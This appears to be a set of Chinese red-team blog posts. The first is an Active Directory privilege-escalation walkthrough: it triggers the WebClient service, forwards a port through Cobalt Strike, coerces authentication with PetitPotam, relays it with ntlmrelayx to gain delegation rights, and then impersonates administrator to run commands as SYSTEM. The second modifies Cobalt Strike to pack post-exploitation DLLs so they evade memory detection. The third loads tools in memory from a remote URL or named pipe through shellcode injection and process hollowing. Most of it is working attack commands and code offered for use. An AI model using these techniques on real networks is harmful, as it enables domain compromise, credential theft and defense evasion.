        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
        EventUnregister(Handle);    }
    return success;}

你可以自己改造一下使用BOF来进行使用，但是我懒了，直接找了一个现成的 C# 代码。

using System;using System.Runtime.InteropServices;
namespace StartWebClient{    class Program    {        [StructLayout(LayoutKind.Explicit, Size = 16)]        public class EVENT_DESCRIPTOR        {            [FieldOffset(0)] ushort Id = 1;            [FieldOffset(2)] byte Version = 0;            [FieldOffset(3)] byte Channel = 0;            [FieldOffset(4)] byte Level = 4;            [FieldOffset(5)] byte Opcode = 0;            [FieldOffset(6)] ushort Task = 0;            [FieldOffset(8)] long Keyword = 0;        }
        [StructLayout(LayoutKind.Explicit, Size = 16)]        public struct EventData        {            [FieldOffset(0)]            internal UInt64 DataPointer;            [FieldOffset(8)]            internal uint Size;            [FieldOffset(12)]            internal int Reserved;        }


        [DllImport("Advapi32.dll", SetLastError = true)]        public static extern uint EventRegister(            ref Guid guid,            [Optional] IntPtr EnableCallback,            [Optional] IntPtr CallbackContext,            [In][Out] ref long RegHandle);
        [DllImport("Advapi32.dll", SetLastError = true)]        public static extern uint EventWrite(            long RegHandle,            ref EVENT_DESCRIPTOR EventDescriptor,            uint UserDataCount,            IntPtr UserData);
        [DllImport("Advapi32.dll", SetLastError = true)]        public static extern uint EventUnregister(long RegHandle);
        public static void start_service(string trigger)        {            Guid webCleintTrigger = new Guid(0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7);            if (trigger.ToLower().Equals("true"))            {                Console.WriteLine("Attempting to start WebClient via ServiceTrigger");            }            else            {                Console.WriteLine("Attempting to start {0} via ServiceTrigger", trigger);                webCleintTrigger = new Guid(trigger);
            }
            long handle = 0;            uint output = EventRegister(ref webCleintTrigger, IntPtr.Zero, IntPtr.Zero, ref handle);            bool success = false;
            if (output == 0)            {                //Create event descriptor                EVENT_DESCRIPTOR desc = new EVENT_DESCRIPTOR();
                //Write the event                uint writeOutput = EventWrite(handle, ref desc, 0, IntPtr.Zero);                success = writeOutput == 0;                EventUnregister(handle);                Console.WriteLine("Service should be started, verify with \"sc.exe query servicename\"");            }            else            {                Console.WriteLine("Service Can not Start");            }        }        static void Main(string[] args)        {            Program.start_service("true");        }    }}

测试没啥问题

接下去就是老一套的利用了。因为要使用到 relay，并且我们这里并不需要relay到445 可以借用WebClient的特性随意选择端口，那么结合CS简直是一件特别香的事。

Port forward

我们使用rportfwd_local来进行转发，这是在 November 6, 2020 - Cobalt Strike 4.2 版本添加的命令。

create a port forward that initiates connection and routes   from Beacon to team server onwards through the requester's Cobalt Strike client.

简单来讲就是该端口转发可以直接通过 Cobalt Strike client 进行。也就是我们不再像以前通过 rportfwd 转发到CS Teamserver上或者 远程主机了，直接在本机即可完成relay利用，免去一些环境的问题。

beacon> rportfwd_local 8445 192.168.0.111 8888[+] started reverse port forward on 8445 to dsdcew -> 192.168.0.111:8888[*] Tasked beacon to forward port 8445 to dsdcew -> 192.168.0.111:8888[+] host called home, sent: 10 bytes

这里假设转发到我的本机IP 192.168.0.111:8888 端口上，接下来使用 PetitPotam 或 PrinterBug 来触发认证即可。

(base) base ❯ python2 PetitPotam.py elevatehostname@8445/aaaa 10.1.1.2 -d rock.com.cn -u 0x -p '0x123456'

10.1.1.2 是你提权机器的IP，这里我们相当于直接强制让自己向自己的8445端口发起认证，经过CS的端口转发会来到 CobaltStrike Client 用户端的8888端口。

relay

impacket ❯ python ntlmrelayx.py -t ldap://AD.rock.com.cn --http-port 8888 --delegate-access --escalate-user demohostuser$Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Protocol Client SMTP loaded..[*] Protocol Client SMB loaded..[*] Protocol Client RPC loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client LDAP loaded..[*] Protocol Client HTTP loaded..[*] Protocol Client HTTPS loaded..[*] Protocol Client MSSQL loaded..[*] Protocol Client IMAP loaded..[*] Protocol Client IMAPS loaded..[*] Protocol Client DCSYNC loaded..[*] Running in relay mode to single host[*] Setting up SMB Server[*] Setting up HTTP Server[*] Setting up WCF Server[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections[*] HTTPD: Received connection from 192.168.0.111, attacking target ldap://AD.rock.com.cn[*] HTTPD: Received connection from 192.168.0.111, attacking target ldap://AD.rock.com.cn[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED[*] Enumerating relayed user's privileges. This may take a while on large domains[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED[*] Enumerating relayed user's privileges. This may take a while on large domains[*] Delegation rights modified succesfully![*] demohostuser$ can now impersonate users on elevatehostname$ via S4U2Proxy[*] Delegate attack already performed for this computer, skipping

机器用户我之前添加好了直接使用，可以使用addcomputer添加或者直接让relay帮你加。

申请ST

impacket ❯ python getST.py -spn cifs/elevatehostname.rock.com.cn rock.com.cn/demohostuser$:'Password123' -impersonate administrator -dc-ip 10.1.1.1Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user[*] Impersonating administrator[*]   Requesting S4U2self[*]   Requesting S4U2Proxy[*] Saving ticket in administrator.ccache
impacket ❯ export KRB5CCNAME=administrator.ccache

在选择模拟用户前 可以 确认一下 impersonate 的用户是否是开启状态，有些情况即便是DA用户也有可能被禁用了。

exec

impacket ❯ python atexec.py -k -no-pass elevatehostname.rock.com.cn whoamiImpacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[!] This will work ONLY on Windows >= Vista[*] Creating task \LhjdbEFO[*] Running task \LhjdbEFO[*] Deleting task \LhjdbEFO[*] Attempting to read ADMIN$\Temp\LhjdbEFO.tmpnt authority\system

没什么高级的东西，仅当记录。

阅读原文

跳转微信打开

大多数情况我们都关注着beacon的上线，本文讲的是在POST-EX阶段

夕阳西下-该回家啦

大多数情况我们都关注着beacon的上线，本文讲的是在POST-EX阶段，在不重写beacon或功能模块的情况下，对自带的功能模块实现一些内存IOC规避

CS经过不断的更新迭代，逐步把功能模块的实现从RDI切换成BOF的形式，这样带来了很多OPSEC方面的提升和减少了载荷的大小，但你仍然可以看到还存在少数通过RDI实现的功能模块。

当你使用诸如hashdump之类的功能时，在CS资源中的这个dll就会被Decrypt然后经过一系列Patch，再经过一系列封装（参数、功能描述、功能号等等）传输给Beacon再通过RDI自加载。

在这个过程中你可以使用Mallable Profile 自定义一些Patch的内容，包括pipename、obfuscate、smartinject、amsi_disable、thread_hint等等

我们的思路是可以在dll patch 之后，再次使用一些工具来packer dll。达到一些内存特征的规避效果，这就看大家发挥了，简单点你可以使用一些壳来帮助你提高一些规避的效果，但是相应的opcode 依然还是之前的那些，所以你还可以使用代码虚拟化的方式将重点函数虚拟化或者混淆。

思路和方法本身没什么实际难度，但选择packer的方法、工具和遇到的问题可能并不一样（不同的packer可能会导致不同的问题，也并不一定都能正常被加载，这是这个方法需要解决的重点问题），这里仅记录我使用的这种packer遇到的问题。

CS inject & spawn

在源码beacon/Job.java中

我们用spawn的代码举例，可以看到在得到解密后的DLLContent后会有一系列的patch来帮助dll在后期正确的被加载。

public void spawn(String string, String string2) {        this.arch = string2;        byte[] byArray = this.getDLLContent();        if (string2.equals("x64")) {            byArray = ReflectiveDLL.patchDOSHeaderX64(byArray, 1453503984);            if (this.ignoreToken()) {                this.builder.setCommand(44);            } else {                this.builder.setCommand(90);            }        } else {            byArray = ReflectiveDLL.patchDOSHeader(byArray, 1453503984);            if (this.ignoreToken()) {                this.builder.setCommand(1);            } else {                this.builder.setCommand(89);            }        }        String string3 = "\\\\.\\pipe\\" + this.tasker.getPostExPipeName(this.getPipeName());        byArray = CommonUtils.patch(byArray, "\\\\.\\pipe\\" + this.getPipeName(), string3);        byArray = this.fix(byArray);        byArray = this.tasker.getThreadFix().apply(byArray);        if (this.tasker.obfuscatePostEx()) {            byArray = this._obfuscate(byArray);        }        byArray = this.setupSmartInject(byArray);        this.builder.addString(CommonUtils.bString(byArray));        byte[] byArray2 = this.builder.build();        this.builder.setCommand(this.getJobType());        this.builder.addInteger(0);        this.builder.addShort(this.getCallbackType());        this.builder.addShort(this.getWaitTime());        this.builder.addLengthAndString(string3);        this.builder.addLengthAndString(this.getShortDescription());        byte[] byArray3 = this.builder.build();        this.tasker.task(string, byArray2, byArray3, this.getDescription(), this.getTactics("T1093"));    }

byte[] byArray = this.getDLLContent();

进入getDLLContent 函数可以看到是有解密操作的。

加密的dll默认是长这个样子的。

我们可以看到代码在 setupSmartInject 之后开始做一些封装的处理。

所以我们可以在这个代码段中间做一些有趣的事情。

byArray = this.setupSmartInject(byArray);
/*    Do something interesting for byArray*/
this.builder.addString(CommonUtils.bString(byArray));

Dump the byArray to File

直接把DLL dump下来，进行后续的操作。

byArray = this.setupSmartInject(byArray);
File savebyArrayFileName = new File(this.getDLLName());FileOutputStream FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);FsavebyArrayFile.write(byArray);FsavebyArrayFile.close();
this.builder.addString(CommonUtils.bString(byArray));

但是在我拿到patch完之后dll做完相应的代码混淆后，替换原本的byArray加载时出现了crash。

如果直接附加调试，这样或许可以找到问题但着实麻烦。

DLLinject

所以我关注到了dllinject 这个功能，该功能一样可以使用上述思路来patch，并且还可以找到问题所在。

首先相同的方法进行加壳或者代码虚拟化，看看能否成功，发现出现了一下错误。

动态调试发现dll 在被CS patch 之前会寻找一个硬编码为 ReflectiveLoader 的导出函数

看起来是导出函数的问题，经过CFF 查看之后发现又没啥问题，可以看到导出函数正常，所以猜测可能是偏移计算出现了问题。

尝试 peclone 进行解析查看，由于受到压缩加密的影响，peclone 已经出现了一些解析异常。我们可以花时间去解决 PEParser 的问题，但也可以偷懒换些工具试试看。

经过调试后发现packer之后的dll Export.FunctionAddressesFixed 是一个错误的值(也是n2对应的值),而 Export.FunctionAddressesFixed这里计算的是一个 FOA（ReflectiveLoader在文件中的偏移位置）。

该dll正常情况下是这样的

我们可以清楚看到，n2 即是FunctionAddressesFixed 的值，只要≤0 就会报错。也就是无法在文件中找到 ReflectiveLoader导出函数的偏移。

往里面跟一下，的确也是FOA的计算公式。

关于RVA to FOA 的计算公式。

FOA = RVA-VOffset+ROffset

得到 VOffset 和 ROffset ，RVA的地址

一开始我以为只需要手动修复一下这个值就行，但后续调试过程中我跟了一下，到底是为什么导致FOA计算错误。

发现在packer之后发现出现了重名的 .text 段，这也是导出偏移计算出错的直接原因，在CS PEParser解析的时候，存储相关数据用的是HashMap 以Key&Value的方式存储，导致无法出现重名的Key，第二个.text 数据会将之前的数据覆盖掉，导致FunctionAddressesFixed计算出错。

我的解决方案也很粗暴，直接在解析的时候将重复的段进行重命名，这样PEParser在计算的时候也不会受影响，并且DLL也并没有受到影响。

这样就没啥问题了

还需要注意的是CS默认情况依然是不能加载超过1m的载荷（上一篇文章中有说Bypass Cobaltstrike 1m有相关信息可以看看），所以经过packer之后的dll请保证你的大小可以被正常传递。

Back to build-in module

回到之前的hashdump，也是经过一系列调试发现，经过比较暴力的packer之后导致 peclone 都没办法解析了，我重新调整了一些参数来设置保护措施，最后可以直接在packer之后在beacon中加载，所以上述说到的dllinject 的问题其实和hashdump 是没有关系的，问题还是在packer的时候尽量保证dll不能面目全非，在你实现整个自动化 过程中也是需要注意的。

做到这一步基本上就可以做自动化了，你需要具备的条件是你的packer工具需要支持命令行，否则很难实现。

第一个screenshot 是原始的 screenshot，大小在199k左右，第二个是经过packer之后的 大小在960k左右。

自动化实现：

在每次运行命令的时候，首先经过CS patch 再经过一层packer达到的效果。这里只演示了内置功能，当你在dllinject的时候 都可以使用这个方法进行自动化。

实现代码：

try {    File savebyArrayFileName = new File("/tmp/"+this.getDLLName());    FileOutputStream FsavebyArrayFile = null;    FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);    FsavebyArrayFile.write(byArray);    FsavebyArrayFile.close();
    //Do something for your dll    List<String> commandList = new ArrayList<>();    commandList.add("your packer command tools");    commandList.add(savebyArrayFileName.toString());    ProcessBuilder pb = new ProcessBuilder(commandList);    Process process = pb.start();
    try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))){        while (process.isAlive()) {            while (bufferedReader.ready()) {                String s = bufferedReader.readLine();                System.out.println(s);            }        }    }    int status = process.waitFor();
    //Read the file after the pack    File PatchSavebyArrayFileName = new File("/tmp/resources/"+savebyArrayFileName.getName().replace(".dll",".pack.dll"));    byArray = getFileByteContent(PatchSavebyArrayFileName);
} catch (Exception e) {    e.printStackTrace();}

packer不支持命令行怎么办？

在写死profile中的 post-ex 变量后，你可以一直使用这个被patch之后的dll再做packer，所以如果你的profile之后是固定了，那么你可以通过本地资源替换的方法直接加载。其中invokeassembly.x64/32.dll 就是一个典型的case。

不修改 CobaltStrike.jar

现在主流的CS crack 也不再是反编译修改源码了，而是更简单的Hook patch。这个使用java agent hook即可，推荐使用 CSAgent 进行二开，感谢开源。

需要简修改的几个点：

• Job/JobSimple/PEParser/TaskBeacon 这几个类的几个方法

• spwan/inject

• spwan

• parseSection

• Dllinject ....

这样直接动态修改 class 中的method代码达到这个case的二开效果。

实际效果

请注意

• 关于本思路并不能帮助你解决行为上的查杀，该方法只是在内存上做一定规避，该有的行为还是有。

• 配合4.5 的自定义注入相信会有更好的效果。

以dllinject为例（hashdump等模块都是一个道理）使用后，还是可以看到你的dll还是比较清晰的裸露在内存中的。

注意：对于dllinject每次你使用完该模块后，这个内存区域并不会被free

经过pakcer之后的，内存里面的绝大部分可读信息或特征已经被混淆了。

阅读原文

跳转微信打开

在攻防中经常会使用到frp,HackBrowserData等工具，常规的落地使用远不如在内存中.

0x00 前言

在攻防中经常会使用到frp,HackBrowserData等工具，常规的落地使用远不如在内存中直接加载省事/OPSEC，但因inject/execute-assembly等有着1mb的限制，所以需要另辟蹊径

0x01 利用现有工具

SharpBlock(需要.net4.0)

1.远程加载

execute-assembly SharpBlock.exe -e https://image.com/frp -s c:\windows\system32\notepad.exe -a "-c c:\frpc.ini" --disable-bypass-amsi --disable-bypass-cmdline --disable-bypass-etw

注意 image 中因为是用了cna的方式，所以-a 参数时因为frpc的参数为 -c" "xxx.ini 所以你需要给空格包裹一下，如果你是execute-assembly那就没有这个问题了。另外这是ini落地的写法，如果你已经将frp修改为了无参数启动那就是一键一把梭了。

加入下面的代码以支持https

ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;

‍

2.named pipe

原版的SharpBlock因frp等文件太大，导致Payload传输不完整。其原因还是CS本身单次传输数据大小的问题，且原版SharpBlock只接收一次数据就会关闭管道，所以也不太适合大文件的使用

此处使用秋水fix过的版本

https://github.com/Like0x/SharpBlock

可以看到这是一个接近4M的PE文件。

使用pipe传输，无落地直接执行，修改项目中提供的cna即可

0x02 C++ named pipe

因.net 4.0在实战中还是会碰到缺失的情况，所以用c++改了一份

2.1 实现

1.修改微软的example为RDI

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines

2.确认Payload是否传输完成

秋水使用的方式是在Payload传输完后发送ok作为标识符，关闭pipe进入下一步

alias frp {    $handle = openf(script_resource("frpc_windows_x64.exe"));    $data = readb($handle,-1);    closef($handle);
    bupload_raw($bid,"\\\\.\\pipe\\pipename",base64_encode($data));
    # This code turn off Pipeserver    for ($total = 0; $total < 5; $total++)    {        bpause($bid,100);        bupload_raw($bid,"\\\\.\\pipe\\pipename","ok");    }}

我选择使用cna计算Payload的大小，传参给DLL

alias test {    $handle = openf(script_resource("frpc_windows_x64.exe"));  $data = readb($handle, -1);  closef($handle);  $size = strlen($data);  blog($1,"file size ".$size);  bdllspawn($1,script_resource("pipe.dll") , $size, "", 1000, false);}

size = atoi((char*)lpReserved);

recv_total += cbBytesRead;memcpy(temp, lpPipeInst->chRequest, cbBytesRead);temp += cbBytesRead;if (recv_total == size){printf("[loader] recv all %02d bytes\r\n", recv_total);

3.传输完成后关闭pipe结束进程

DisconnectNamedPipe(hPipe);

2.2 inject

1.frpc pe2shellcode

https://github.com/TheWover/donut

2.Demo

常规的CreateRemoteThread测试

recv_total += cbBytesRead;memcpy(temp, lpPipeInst->chRequest, cbBytesRead);temp += cbBytesRead;if (recv_total == size){    printf("[loader] recv all %02d bytes\r\n", recv_total);    PROCESS_INFORMATION pi = { 0 };    STARTUPINFO si = { 0 };    CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);    remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, recv_total + 1, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);    WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, recv_total, NULL);    remoteThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);    CloseHandle(processHandle);    DisconnectNamedPipe(hPipe);
}

https://github.com/dust-life/Tools/tree/main/Named_Pipe

2.3 run_pe

考虑到pe2shellcode有诸多不便，选择使用Process Hollowing并稍作修改

https://github.com/hasherezade/libpeconv/tree/master/run_pe

1.从内存加载Payload

BYTE* memory_load(IN BYTE* payload, IN size_t r_size, OUT size_t& v_size, bool executable, bool relocate){    BYTE* mappedPE = load_pe_module(payload, r_size, v_size, executable, relocate);    free_pe_buffer(payload);    return mappedPE;}

2.隐藏窗口

if (!CreateProcessA(        path,        (LPSTR)cmdLine,        NULL, //lpProcessAttributes        NULL, //lpThreadAttributes        FALSE, //bInheritHandles        CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, //dwCreationFlags        NULL, //lpEnvironment         NULL, //lpCurrentDirectory        &si, //lpStartupInfo        &pi //lpProcessInformation))

3.忽略修复重定位表

upx过后的PE没有重定位表，所以需要忽略修复重定位表

if (!relocate_module(loaded_pe, payloadImageSize, (ULONGLONG)remoteBase)) {    std::cout << "Could not relocate the module!\n";    //3. Update the image base of the payload (local copy) to the Remote Base:    update_image_base(loaded_pe, (ULONGLONG)remoteBase);}else{    update_image_base(loaded_pe, (ULONGLONG)remoteBase);}

4.Demo

https://github.com/dust-life/run_pe

0x03 TODO

1.Bypass Cmdline、ETW等2.更好的Process Hollowing3.BOF版远程加载、Process Hollowing

阅读原文

跳转微信打开